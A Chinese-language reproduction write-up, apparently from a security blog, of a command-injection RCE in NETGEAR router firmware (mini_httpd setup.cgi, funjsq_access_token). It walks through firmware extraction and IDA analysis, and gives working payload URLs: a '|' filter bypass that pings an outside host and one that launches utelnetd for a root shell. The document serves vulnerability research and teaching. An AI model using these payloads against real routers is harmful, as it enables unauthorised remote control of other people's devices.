0x00.一切开始之前
美国网件公司(NETGEAR)是一家专门做网络设备的公司。在2020年末其旗下多款路由器产品被爆出存在远程代码执行漏洞——mini_httpd 服务中对其提供的帆游加速器功能的参数解析存在缺陷从而导致可以进行命令注入,从而在远程主机执行任意代码——虽然此种利用需要身份验证,但据悉现有的身份验证机制并不难绕过
在 cve.mitre.org 上对该漏洞说明如下:
This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of NETGEAR R6020, R6080, R6120, R6220, R6260, R6700v2, R6800, R6900v2, R7450, JNR3210, WNR2020, Nighthawk AC2100, and Nighthawk AC2400 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the mini_httpd service, which listens on TCP port 80 by default. When parsing the funjsq_access_token parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-11653.
影响版本
参见官网
复现环境搭建
笔者本人比较穷,买不起网件的路由器,但最终还是有幸从朋友那借来了一台 R6800 机器,得以对该漏洞进行复现
0x01.漏洞分析
文件提取
首先在官网下载对应版本(1.2.0.74)的固件,解压后得到一个 img 镜像文件
使用 binwalk 提取其中的内容:
$ binwalk -e
得到两个文件 200.zip
和 R6950.bin
,其中前者为后者的压缩包,继续使用 binwalk 解压后者,得到的 squashfs-root
文件夹便是该设备的文件系统
在文件系统中有着大量的软链接,大部分最终都是指向 usr/sbin
目录,相应地 init
进程指向的是 usr/sbin/busybox
$ ll
total 84
drwxr-xr-x 12 arttnba3 arttnba3 4096 Aug 18 20:14 ./
drwxrwxr-x 3 arttnba3 arttnba3 4096 Aug 18 20:56 ../
lrwxrwxrwx 1 arttnba3 arttnba3 9 Aug 17 2020 bin -> usr/sbin//
drwxrwxr-x 2 arttnba3 arttnba3 4096 Aug 15 2015 data/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Oct 18 2015 dev/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 etc -> /tmp/etc
lrwxrwxrwx 1 arttnba3 arttnba3 11 Aug 17 2020 etc_ro -> /tmp/etc_ro
lrwxrwxrwx 1 arttnba3 arttnba3 20 Aug 17 2020 home -> /tmp/home_directory/
lrwxrwxrwx 1 arttnba3 arttnba3 11 Aug 17 2020 init -> bin/busybox*
drwxr-xr-x 6 arttnba3 arttnba3 12288 Aug 17 2020 lib/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Dec 2 2012 media/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 mnt -> /tmp/mnt
drwxrwxr-x 6 arttnba3 arttnba3 4096 Aug 17 2020 opt/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Nov 12 2000 proc/
lrwxrwxrwx 1 arttnba3 arttnba3 9 Aug 17 2020 sbin -> usr/sbin//
drwxr-xr-x 2 arttnba3 arttnba3 4096 Nov 16 2008 sys/
drwxr-xr-x 2 arttnba3 arttnba3 4096 Jul 28 2000 tmp/
drwxr-xr-x 11 arttnba3 arttnba3 4096 Aug 18 18:59 usr/
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 var -> /tmp/var
lrwxrwxrwx 1 arttnba3 arttnba3 8 Aug 17 2020 www -> /tmp/www
drwxrwxr-x 8 arttnba3 arttnba3 32768 Aug 17 2020 www.eng/
在 usr
目录下还有一个文件 funjsq_plugin_netgear_r6800.tar.gz
,解压:
$ tar -zxvf funjsq_plugin_netgear_r6800.tar.gz
./tmp/
./tmp/funjsq/
./tmp/funjsq/bin/
./tmp/funjsq/bin/funjsq_cli
./tmp/funjsq/bin/funjsq_ctl
./tmp/funjsq/bin/funjsq_nslookup
./tmp/funjsq/bin/funjsq_conntime
./tmp/funjsq/bin/funjsq_daemon
./tmp/funjsq/bin/funjsq_detect
./tmp/funjsq/bin/funjsq_dns
./tmp/funjsq/bin/funjsq_httpd
./tmp/funjsq/bin/funjsq_inetd
./tmp/funjsq/bin/funjsq_redis
./tmp/funjsq/bin/funjsq.sh
./tmp/funjsq/config/
./tmp/funjsq/config/dnsmasq.d/
./tmp/funjsq/config/dnsmasq.d/funjsq101.conf
./tmp/funjsq/config/dnsmasq.d/blocklistDL.conf
./tmp/funjsq/config/dnsmasq.d/blocklistGW.conf
./tmp/funjsq/config/dnsmasq.d/funjsq100.conf
./tmp/funjsq/config/values/
./tmp/funjsq/config/funjsqdetect.dat
./tmp/funjsq/config/funjsqMSG.json
./tmp/funjsq/config/funjsq_ca
./tmp/funjsq/config/httpd/
./tmp/funjsq/config/httpd/key.pem
./tmp/funjsq/config/httpd/cert.pem
程序分析
在漏洞通告中说到该漏洞存在于 mini_httpd
服务中
用 burp suite
简单测试一下我们可以发现大部分 http 请求都是通过 setup.cgi
来进行的,该文件存在于 /usr/sbin/
目录下
拖入 IDA进行分析,查找 funjsq_access_token
字符串
XREF 到 sub_407C80()
函数,其中会通过 find_val()
函数提取出 funjsq_access_token
参数,进行命令拼接后通过 COMMAND()
(本质上其实就是 sh)执行,我们不难想到的是若是能够插入诸如 “;” 或者 “&&” 这样的分隔符等,便能够执行我们想要执行的命令,即存在一个命令注入的 RCE 漏洞
调用回溯,发现一张如下结构的函数表,我们的 sub_407C80()
刚好对应 funjsq_login
:
struct typedef
{
char * func_name;
void (*func_ptr)();
}StrFunc;
我们可以发现在 CallActionByName()
函数中会根据传入的字符串通过函数表调用对应的函数
最后回溯到 main 函数,我们可以发现对于传入的 todo 参数而言其会调用 CallActionByName()
函数进行解析
在 main 函数中执行到该段代码之前还有一系列的检查,不过主要针对 POST 请求,故我们可以直接走 GET 请求来避免一系列的检查
最终我们可以知道通过如下 payload 便能够跳转到出现问题的 sub_407C80()
函数:
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=
在
find_val()
中还会对命令注入进行过滤,不过功能较弱
0x02.漏洞利用
该漏洞仅验证用户(可以登入路由器页面)可以使用,常规情况下则还需要想方法绕过用户验证,本篇漏洞利用假定是已经成功绕过路由器登入页面的情况
poc
在 mini_httpd 服务中似乎有着一定的过滤的机制,诸如 ;
、&&
、||
等都会被过滤掉,直接返回 403
最终笔者使用|
成功绕过,笔者在这里选择执行 ping
指令简单看一下效果
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=|ping%20-c5%20sec.arttnba3.cn
若是成功进入执行命令的流程则应当有如下回显,见到这个回显说明代码成功执行到了该处
笔者使用 tcpdump -i eth0 icmp
命令在服务器上查看发现果然成功收到了来自该路由器的 ping 包,命令执行成功
需要注意的是
COMMAND()
执行命令时会等待其返回才会执行下一条命令,故若是需要同时执行多个命令应当使用&
(url编码%26
)将一些长期执行的命令转入后台执行,否则其会一直等待当前命令执行完毕后才会执行下一条命令
exp
这台机子自带 telnet
,直接通过 telnet 连接上去即可
http://192.168.1.1/setup.cgi?todo=funjsq_login&next_file=basic_wait.htm&funjsq_access_token=|utelnetd%26
运行,成功通过 telnet 连接获取到一个 shell
0xFF.What’s more?
通过分析这个漏洞,我们不难发现其逻辑本质上是十分简单的,至少就其利用难度而言算,这算是在软件开发过程中犯的一个比较初级的错误,但是若是我们想到在这背后的是美国网件公司——一家规模十分巨大的网络设备公司,我相信大家就会不寒而栗了
Netgear 是否真的不重视安全问题?似乎并非如此,在上面的分析中我们还是能够看到针对代码注入的风险,在固件中还是存在着检测的,但是检测机制十分简陋,好像也并不是那么地重视,或许只是为了KPI,但如果连这样的大公司都不够注重安全问题,那么小公司又如何呢?我们是否生活在一个充满着漏洞的世界?
转念一想,在大一的C语言入门课上,大家最初学到的读入字符串的函数之一是gets还是fgets?是否有老师说明过在 scanf 中不要使用%s?在工程代码中使用printf直接打印字符串时是否意识到格式字符串漏洞的存在?
笔者认为,「安全问题本质上还是人的问题」,本质上还是我们开发者没有给予安全问题以足够的重视,这才让近些年来一些本质上十分基础但又危害性极大的的安全漏洞被一个接着一个地曝光,只有我们每一位开发者都真正重视起安全问题,很多没有必要的损失才能得以避免
发表评论
您还未登录,请先登录。
登录